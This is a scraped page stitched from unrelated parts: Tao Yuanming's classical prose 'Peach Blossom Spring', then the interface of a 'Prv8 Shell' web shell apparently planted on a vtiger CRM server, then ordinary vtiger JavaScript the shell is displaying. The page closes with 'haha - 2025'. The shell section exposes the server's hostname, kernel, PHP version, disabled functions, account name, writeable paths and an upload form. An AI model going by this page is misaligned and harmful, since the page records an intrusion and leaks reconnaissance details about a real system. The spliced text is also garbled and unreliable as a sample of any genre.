晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/akaindir/www/crm/layouts/v7/resources/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/akaindir/www/crm/layouts/v7/resources/v7_client_compat.js
/*+**********************************************************************************
 * The contents of this file are subject to the vtiger CRM Public License Version 1.0
 * ("License"); You may not use this file except in compliance with the License
 * The Original Code is: vtiger CRM Open Source
 * The Initial Developer of the Original Code is vtiger.
 * Portions created by vtiger are Copyright (C) vtiger.
 * All Rights Reserved.
 ************************************************************************************/

var AppConnector = {
	request: function (params) {
		var aDeferred = jQuery.Deferred();
		app.request.post({data: params}).then(
				function (err, data) {
					if (err == null) {
						var result = {'success': true, 'result': data};
						aDeferred.resolve(result);
					} else {
						aDeferred.reject(err);
					}
				});
		return aDeferred.promise();
	},
	requestPjax: function (url) {
		if (typeof url == 'object') {
			var params = {
				data: url
			};
		} else if (typeof url == 'string') {
			var params = {
				url: url
			};
		}

		var aDeferred = jQuery.Deferred();
		app.request.pjax(params).then(
				function (err, res) {
					if (res) {
						aDeferred.resolve(res);
					} else {
						aDeferred.reject(err);
					}
				});
		return aDeferred.promise();
	}
};

jQuery.fn.progressIndicator = function (options) {
	if (options && typeof options.mode != 'undefined' && options.mode == 'hide') {
		app.helper.hideProgress();
	}
	return jQuery('<body>');
};

jQuery.progressIndicator = function (options) {
	if (options) {
		if (typeof options.message != 'undefined') {
			app.helper.showProgress(options.message);
		} else {
			app.helper.showProgress();
		}
	}
	return jQuery('<body>');
};

jQuery.extend(window.app, {
	validationEngineOptions: {},
	showSelect2ElementView: function (selectElement, params) {
		vtUtils.showSelect2ElementView(selectElement, params);
	},
	changeSelectElementView: function (container) {
		vtUtils.applyFieldElementsView(container);
	},
	notifyPostAjaxReady: function () {
		jQuery(document).trigger('postajaxready');
	},
	listenPostAjaxReady: function (callback) {
		jQuery(document).on('postajaxready', callback);
	},
	hideModalWindow: function () {
		app.helper.hideModal();
	},
	showModalWindow: function (data, callback) {
		app.helper.showModal(data.result, {cb: callback});
	},
	hidePopup: function () {
		app.helper.hidePopup();
	},
	getViewName: function () {
		return app.view();
	}
});
jQuery.extend(window, {
	close: function () {
		app.helper.hidePopup();
	}
});

jQuery.triggerParentEvent = function (eventToTrigger, data) {
	if (typeof eventToTrigger == 'function') {
		eventToTrigger(data);
	} else {
		app.event.trigger(eventToTrigger, data);
	}
};

Vtiger_Helper_Js.showHorizontalTopScrollBar = function (container) {
	app.helper.showHorizontalScroll(container);
};

Vtiger_Helper_Js.showPnotify = function (params) {
	if (params.type != 'error') {
		app.helper.showSuccessNotification({'message': params.title});
	} else {
		app.helper.showErrorNotification({'message': params.title});
	}
};

Vtiger_Helper_Js.showMessage = function (params) {
	Vtiger_Helper_Js.showPnotify(params);
};

Vtiger_List_Js.prototype.registerTimeListSearch = function (container) {
	vtUtils.registerEventForTimeFields(container);
};

Vtiger_List_Js.prototype.registerDateListSearch = function (container) {
	vtUtils.registerEventForDateFields(container);
};

Vtiger_List_Js.prototype.calculatePages = function () {
	var thisInstance = this;
	var aDeferred = jQuery.Deferred();
	var totalNumberOfRecords = jQuery('.totalNumberOfRecords');
	thisInstance.totalNumOfRecords(totalNumberOfRecords);
	aDeferred.resolve();
	return aDeferred.promise();
};

Vtiger_List_Js.prototype.checkSelectAll = function () {
	var state = true;
	jQuery('.listViewEntriesCheckBox').each(function (index, element) {
		if (jQuery(element).is(':checked')) {
			state = true;
		} else {
			state = false;
			return false;
		}
	});
	if (state == true) {
		jQuery('#listViewEntriesMainCheckBox').attr('checked', true);
	} else {
		jQuery('#listViewEntriesMainCheckBox').attr('checked', false);
	}
};

Vtiger_List_Js.prototype.registerChangeCustomFilterEvent = function () {
	var thisInstance = this;
	jQuery('#listViewContent').on('change', '#customFilter', function () {
		jQuery('#pageNumber').val('1');
		jQuery('#pageToJump').val('1');
		jQuery('#orderBy').val('');
		jQuery('#sortOrder').val('');
		var cvId = thisInstance.getCurrentCvId();
		selectedIds = new Array();
		excludedIds = new Array();

		var urlParams = {
			'viewname': cvId,
			'page': '',
			//to make alphabetic search empty
			'search_value': '',
			'search_params': ''
		}
		//Make the select all count as empty
		jQuery('#recordsCount').val('');
		//Make total number of pages as empty
		jQuery('#totalPageCount').text('');
		thisInstance.loadListViewRecords(urlParams).then(function () {
			thisInstance.updatePagination();
		});
	});
};

Vtiger_List_Js.prototype.getListViewContentContainer = function () {
	return this.getListViewContainer();
};

Vtiger_Popup_Js.prototype.show = function (params, callback) {
	if (typeof params == 'object' && (typeof params['view'] == 'undefined')) {
		params['view'] = 'Popup';
	}
	app.event.one('After_show_popup_select', function (e, data) {
		callback(data);
	});
	this.showPopup(params, 'After_show_popup_select');
};

Vtiger_Popup_Js.prototype.calculatePages = function () {
	var thisInstance = this;
	var aDeferred = jQuery.Deferred();
	var totalNumberOfRecords = jQuery('.totalNumberOfRecords');
	thisInstance.totalNumOfRecords(totalNumberOfRecords);
	aDeferred.resolve();
	return aDeferred.promise();
};

haha - 2025